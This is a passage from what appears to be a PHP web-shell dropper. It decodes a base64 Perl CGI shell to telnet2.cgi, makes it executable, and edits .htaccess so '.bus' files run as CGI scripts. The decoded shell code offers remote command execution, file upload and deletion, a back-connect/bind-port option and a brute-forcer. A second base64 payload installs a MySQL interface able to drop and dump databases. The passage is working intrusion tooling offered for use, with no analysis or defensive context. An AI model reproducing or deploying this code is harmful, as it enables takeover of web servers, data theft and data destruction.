YWlsIC0xMDAwMCAkbG9nIHwgZ3JlcCAnL2hvbWUnIiBzaXplPSc1MCcvPjwvdGQ+DQoJCQk8dGQ+PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRyeSIgLz48L3RkPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiIC8+DQoJCQk8L2Zvcm0+DQoJCQk8dGQ+JHBlcm1zPC90ZD4NCg0KCQk8L3RyPg0KRU5EDQoJCSRpKys7DQoJfQ0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9IGRlY29kZV9iYXNlNjQoJGlueydjJ30pOw0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCiRBY3Rpb24gPSAkaW57J2EnfTsNCg0KJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdA0KDQojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkDQokQ3VycmVudERpciA9ICZUcmltU2xhc2hlcyhkZWNvZGVfYmFzZTY0KHRyaW0oJGlueydkJ30pKSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9tcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOw0KDQokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7DQoNCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQ0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImQiKTsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZigkY2htb2QgbmUgMCkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWlmKGNobW9kKCRjaG1vZCwkZmlsZSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQ0KCQl9DQoJfQ0KCSRyZW5hbWU9JGlueydyZW5hbWUnfTsNCglpZigkcmVuYW1lIG5lICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgkJCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn1lbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCXByaW50ICZVcGxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0DQp7DQoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOw0KDQoJcHJpbnQgJkJhY2tCaW5kOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7DQoNCg==';
file_put_contents('telnet2.cgi',base64_decode($fileencode1));
echo "<a href='./perl/telnet2.cgi'>Here telnet2.cgi</a><br>";
#fwrite($bus,base64_decode($fileencode));
#fwrite($fileencode1)
#fclose($bus);
chmod('security.bus',0755);
chmod('telnet2.cgi',0755);
$htaccess = fopen('.htaccess','a+');
fwrite($htaccess,"AddHandler cgi-script .bus");
fclose($htaccess);
# inject Database
}elseif($_POST[tool]=='inject'){
$data = 'inject';
mkdir('inject');
chdir('inject');
$sql = 'PD9waHAKCi8qCiAqIE15U1FMIFdlYiBJbnRlcmZhY2UgVmVyc2lvbiAyCiAqIC0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0KICogRGV2ZWxvcGVkIEJ5IHNOaXBlcl9oRXgKKi8KCmlmICgg
ZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7Cgkkb25vZmYgPSBpbmlfZ2V0KCdyZWdpc3Rl
cl9nbG9iYWxzJyk7Cn0gZWxzZSB7Cgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xv
YmFscycpOwp9CmlmICgkb25vZmYgIT0gMSkgewoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMs
IEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9DT09LSUVfVkFSUywgRVhUUl9TS0lQKTsKCUBl
eHRyYWN0KCRIVFRQX1BPU1RfRklMRVMsIEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9QT1NU
X1ZBUlMsIEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9HRVRfVkFSUywgRVhUUl9TS0lQKTsK
CUBleHRyYWN0KCRIVFRQX0VOVl9WQVJTLCBFWFRSX1NLSVApOwp9CgpmdW5jdGlvbiBsb2dvbigp
IHsKCWdsb2JhbCAkUEhQX1NFTEY7CgoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJu
YW1lIiApOwoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApOwoJc2V0Y29v
a2llKCAibXlzcWxfd2ViX2FkbWluX2hvc3RuYW1lIiApOwoJZWNobyAiPGh0bWw+XG4iOwoJZWNo
byAiPGhlYWQ+XG4iOwoJZWNobyAiPHRpdGxlPk15U1FMIEludGVyZmFjZTwvdGl0bGU+XG4iOwoJ
ZWNobyAiPC9oZWFkPlxuIjsKCWVjaG8gIjxib2R5PlxuIjsKCWVjaG8gIjx0YWJsZSB3aWR0aD0x
MDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7CgllY2hvICI8dGFibGUgY2VsbHBh
ZGRpbmc9Mj48dHI+PHRkIGJnY29sb3I9I2E0YTI2MD48Y2VudGVyPlxuIjsKCWVjaG8gIjx0YWJs
ZSBjZWxscGFkZGluZz0yMD48dHI+PHRkIGJnY29sb3I9I2ZmZmZmZj48Y2VudGVyPlxuIjsKCWVj
aG8gIjxoMT5NeVNRTCBXZWIgSW50ZXJmYWNlPC9oMT5cbiI7CgllY2hvICI8Zm9ybSBhY3Rpb249
JyRQSFBfU0VMRic+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZh
bHVlPWxvZ29uX3N1Ym1pdD5cbiI7CgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NSBjZWxsc3Bh
Y2luZz0xPlxuIjsKCWVjaG8gIjx0cj48dGQ+SG9zdG5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBl
PXRleHQgbmFtZT1ob3N0bmFtZSB2YWx1ZT0nbG9jYWxob3N0Jz48L3RkPjwvdHI+XG4iOwoJZWNo
byAiPHRyPjx0ZD5Vc2VybmFtZSA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9dGV4dCBuYW1lPXVzZXJu
YW1lPjwvdGQ+PC90cj5cbiI7CgllY2hvICI8dHI+PHRkPlBhc3N3b3JkIDwvdGQ+PHRkPiA8aW5w
dXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3N3b3JkPjwvdGQ+PC90cj5cbiI7CgllY2hvICI8L3Rh
YmxlPjxwPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsK
CWVjaG8gIjxpbnB1dCB0eXBlPXJlc2V0IHZhbHVlPSdDbGVhcic+PGJyPlxuIjsKCWVjaG8gIjwv
Zm9ybT5cbiI7CgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7CgllY2hvICI8
L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7CgllY2hvICI8cD48aHIgd2lkdGg9MzAwPlxu
IjsKCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsKCWVjaG8gIjwvYm9keT5c
biI7CgllY2hvICI8L2h0bWw+XG4iOwp9CgpmdW5jdGlvbiBsb2dvbl9zdWJtaXQoKSB7CglnbG9i
YWwgJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRob3N0bmFtZSAsJFBIUF9TRUxGOwoJaWYoJGhvc3Ru
YW1lID09JycpCgkJJGhvc3RuYW1lID0gJ2xvY2FsaG9zdCc7CglzZXRjb29raWUoICJteXNxbF93
ZWJfYWRtaW5fdXNlcm5hbWUiLCAkdXNlcm5hbWUgKTsKCXNldGNvb2tpZSggIm15c3FsX3dlYl9h
ZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOwoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWlu
X2hvc3RuYW1lIiwgJGhvc3RuYW1lICk7CgllY2hvICI8aHRtbD4iOwoJZWNobyAiPGhlYWQ+IjsK
CWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxG
P2FjdGlvbj1saXN0REJzJz4iOwoJZWNobyAiPC9oZWFkPiI7CgllY2hvICI8L2h0bWw+IjsKfQoK
ZnVuY3Rpb24gZWNob1F1ZXJ5UmVzdWx0KCkgewoJZ2xvYmFsICRxdWVyeVN0ciwgJGVyck1zZzsK
CglpZiggJGVyck1zZyA9PSAiIiApICRlcnJNc2cgPSAiU3VjY2VzcyI7CglpZiggJHF1ZXJ5U3Ry
ICE9ICIiICkgewoJCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz01PlxuIjsKCQllY2hvICI8dHI+
PHRkPlF1ZXJ5PC90ZD48dGQ+JHF1ZXJ5U3RyPC90ZD48L3RyPlxuIjsKCQllY2hvICI8dHI+PHRk
PlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOwoJCWVjaG8gIjwvdGFibGU+PHA+
XG4iOwoJfQp9CgpmdW5jdGlvbiBsaXN0RGF0YWJhc2VzKCkgewoJZ2xvYmFsICRteXNxbEhhbmRs
ZSwgJFBIUF9TRUxGOwoKCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOwoKCWVjaG8g
Ijxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4g
bmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlREI+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBu
YW1lPWRibmFtZT5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBE
YXRhYmFzZSc+XG4iOwoJZWNobyAiPC9mb3JtPlxuIjsKCWVjaG8gIjxocj5cbiI7CgoJZWNobyAi
PHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7CgoJJHBEQiA9IG15c3FsX2xp
c3RfZGJzKCAkbXlzcWxIYW5kbGUgKTsKCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOwoJ
Zm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsKCQkkZGJuYW1lID0gbXlzcWxfZGJuYW1l
KCAkcERCLCAkaSApOwoJCWVjaG8gIjx0cj5cbiI7CgkJZWNobyAiPHRkPiRkYm5hbWU8L3RkPlxu
IjsKCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1saXN0VGFibGVzJmRibmFt
ZT0kZGJuYW1lJz5UYWJsZXM8L2E+PC90ZD5cbiI7CgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBf
U0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZp
cm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOwoJCWVj
aG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWR1bXBEQiZkYm5hbWU9JGRibmFtZScg
b25DbGljaz1cInJldHVybiBjb25maXJtKCdEdW1wIERhdGFiYXNlIFwnJGRibmFtZVwnPycpXCI+
RHVtcDwvYT48L3RkPlxuIjsKCQllY2hvICI8L3RyPlxuIjsKCX0KCWVjaG8gIjwvdGFibGU+XG4i
Owp9CgpmdW5jdGlvbiBjcmVhdGVEYXRhYmFzZSgpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRk
Ym5hbWUsICRQSFBfU0VMRjsKCglteXNxbF9jcmVhdGVfZGIoICRkYm5hbWUsICRteXNxbEhhbmRs
ZSApOwoJbGlzdERhdGFiYXNlcygpOwp9CgpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7CglnbG9i
YWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7CgoJbXlzcWxfZHJvcF9kYiggJGRi
bmFtZSwgJG15c3FsSGFuZGxlICk7CglsaXN0RGF0YWJhc2VzKCk7Cn0KCmZ1bmN0aW9uIGxpc3RU
YWJsZXMoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7CgoKCWVj
aG8gIjxoMT5UYWJsZXMgTGlzdDwvaDE+XG4iOwoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRi
bmFtZTwvcD5cbiI7CgllY2hvUXVlcnlSZXN1bHQoKTsKCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBI
UF9TRUxGJz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9
Y3JlYXRlVGFibGU+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZh
bHVlPSRkYm5hbWU+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPXRhYmxlbmFtZT5c
biI7CgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOwoJ
ZWNobyAiPC9mb3JtPlxuIjsKCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7Cgll
Y2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOwoJZWNo
byAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOwoJZWNo
byAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTEyMCBuYW1lPXF1ZXJ5U3RyPlxuIjsKCWVjaG8gIjxp
bnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7Cgll
Y2hvICI8aHI+XG4iOwoKCSRwVGFibGUgPSBteXNxbF9saXN0X3RhYmxlcyggJGRibmFtZSApOwoK
CWlmKCAkcFRhYmxlID09IDAgKSB7CgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOwoJCWVjaG8gIjxo
Mz5FcnJvciA6ICRtc2c8L2gzPjxwPlxuIjsKCQlyZXR1cm47Cgl9CgkkbnVtID0gbXlzcWxfbnVt
X3Jvd3MoICRwVGFibGUgKTsKCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGlu
Zz01PlxuIjsKCglmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgewoJCSR0YWJsZW5hbWUg
PSBteXNxbF90YWJsZW5hbWUoICRwVGFibGUsICRpICk7CgoJCWVjaG8gIjx0cj5cbiI7CgkJZWNo
byAiPHRkPlxuIjsKCQllY2hvICIkdGFibGVuYW1lXG4iOwoJCWVjaG8gIjwvdGQ+XG4iOwoJCWVj
aG8gIjx0ZD5cbiI7CgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj12aWV3U2NoZW1h
JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5TY2hlbWE8L2E+XG4iOwoJCWVj
aG8gIjwvdGQ+XG4iOwoJCWVjaG8gIjx0ZD5cbiI7CgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxG
P2FjdGlvbj12aWV3RGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RGF0
YTwvYT5cbiI7CgkJZWNobyAiPC90ZD5cbiI7CgkJZWNobyAiPHRkPlxuIjsKCQllY2hvICI8YSBo
cmVmPSckUEhQX1NFTEY/YWN0aW9uPWRyb3BUYWJsZSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9
JHRhYmxlbmFtZScgb25DbGljaz1cInJldHVybiBjb25maXJtKCdEcm9wIFRhYmxlIFwnJHRhYmxl
bmFtZVwnPycpXCI+RHJvcDwvYT5cbiI7CgkJZWNobyAiPC90ZD5cbiI7CgkJZWNobyAiPHRkPlxu
IjsKCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWR1bXBUYWJsZSZkYm5hbWU9JGRi
bmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZScgb25DbGljaz1cInJldHVybiBjb25maXJtKCdEdW1w
IFRhYmxlIFwnJHRhYmxlbmFtZVwnPycpXCI+RHVtcDwvYT5cbiI7CgkJZWNobyAiPC90ZD5cbiI7
CgkJZWNobyAiPC90cj5cbiI7Cgl9CgoJZWNobyAiPC90YWJsZT4iOwp9CgpmdW5jdGlvbiBjcmVh
dGVUYWJsZSgpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQ
SFBfU0VMRiwgJHF1ZXJ5U3RyLCAkZXJyTXNnOwoKCSRxdWVyeVN0ciA9ICJDUkVBVEUgVEFCTEUg
JHRhYmxlbmFtZSAoIG5vIElOVCApIjsKCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3Fs
SGFuZGxlICk7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsKCSRlcnJN
c2cgPSBteXNxbF9lcnJvcigpOwoKCWxpc3RUYWJsZXMoKTsKfQoKZnVuY3Rpb24gZHJvcFRhYmxl
KCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxG
LCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFt
ZSI7CglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJbXlzcWxfcXVl
cnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsK
CglsaXN0VGFibGVzKCk7Cn0KCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7CglnbG9iYWwgJG15c3Fs
SGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1z
ZzsKCgllY2hvICI8aDE+VGFibGUgU2NoZW1hPC9oMT5cbiI7CgllY2hvICI8cCBjbGFzcz1sb2Nh
dGlvbj4kZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7CgoJZWNob1F1ZXJ5UmVzdWx0KCk7
CgoJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGRGaWVsZCZkYm5hbWU9JGRibmFt
ZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+QWRkIEZpZWxkPC9hPiB8IFxuIjsKCWVjaG8gIjxhIGhy
ZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld0RhdGEmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0
YWJsZW5hbWUnPlZpZXcgRGF0YTwvYT5cbiI7CgllY2hvICI8aHI+XG4iOwoKCSRwUmVzdWx0ID0g
bXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7
CgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7CgoJZWNobyAiPHRhYmxlIGNlbGxz
cGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7CgllY2hvICI8dHI+XG4iOwoJZWNobyAiPHRoPkZp
ZWxkPC90aD5cbiI7CgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOwoJZWNobyAiPHRoPk51bGw8L3Ro
PlxuIjsKCWVjaG8gIjx0aD5LZXk8L3RoPlxuIjsKCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7
CgllY2hvICI8dGg+RXh0cmE8L3RoPlxuIjsKCWVjaG8gIjx0aCBjb2xzcGFuPTI+QWN0aW9uPC90
aD5cbiI7CgllY2hvICI8L3RyPlxuIjsKCgoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyAp
IHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsKCQllY2hvICI8dHI+
XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRmllbGQiXS4iPC90ZD5cbiI7CgkJZWNobyAiPHRk
PiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJd
LiI8L3RkPlxuIjsKCQllY2hvICI8dGQ+Ii4kZmllbGRbIktleSJdLiI8L3RkPlxuIjsKCQllY2hv
ICI8dGQ+Ii4kZmllbGRbIkRlZmF1bHQiXS4iPC90ZD5cbiI7CgkJZWNobyAiPHRkPiIuJGZpZWxk
WyJFeHRyYSJdLiI8L3RkPlxuIjsKCQkkZmllbGRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOwoJCWVj
aG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXRGaWVsZCZkYm5hbWU9JGRibmFt
ZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZmaWVsZG5hbWU9JGZpZWxkbmFtZSc+RWRpdDwvYT48L3Rk
PlxuIjsKCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJu
YW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9u
Q2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRy
b3A8L2E+PC90ZD5cbiI7CgkJZWNobyAiPC90cj5cbiI7Cgl9CgllY2hvICI8L3RhYmxlPlxuIjsK
Cn0KCmZ1bmN0aW9uIG1hbmFnZUZpZWxkKCAkY21kICkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwg
JGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOwoKCWlmKCAkY21kID09
ICJhZGQiICkKCQllY2hvICI8aDE+QWRkIEZpZWxkPC9oMT5cbiI7CgllbHNlIGlmKCAkY21kID09
ICJlZGl0IiApIHsKCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOwoJCSRwUmVzdWx0ID0g
bXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7
CgkJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOwoJCWZvciggJGkgPSAwOyAkaSA8
ICRudW07ICRpKysgKSB7CgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCAp
OwoJCQlpZiggJGZpZWxkWyJGaWVsZCJdID09ICRmaWVsZG5hbWUgKSB7CgkJCQkkZmllbGR0eXBl
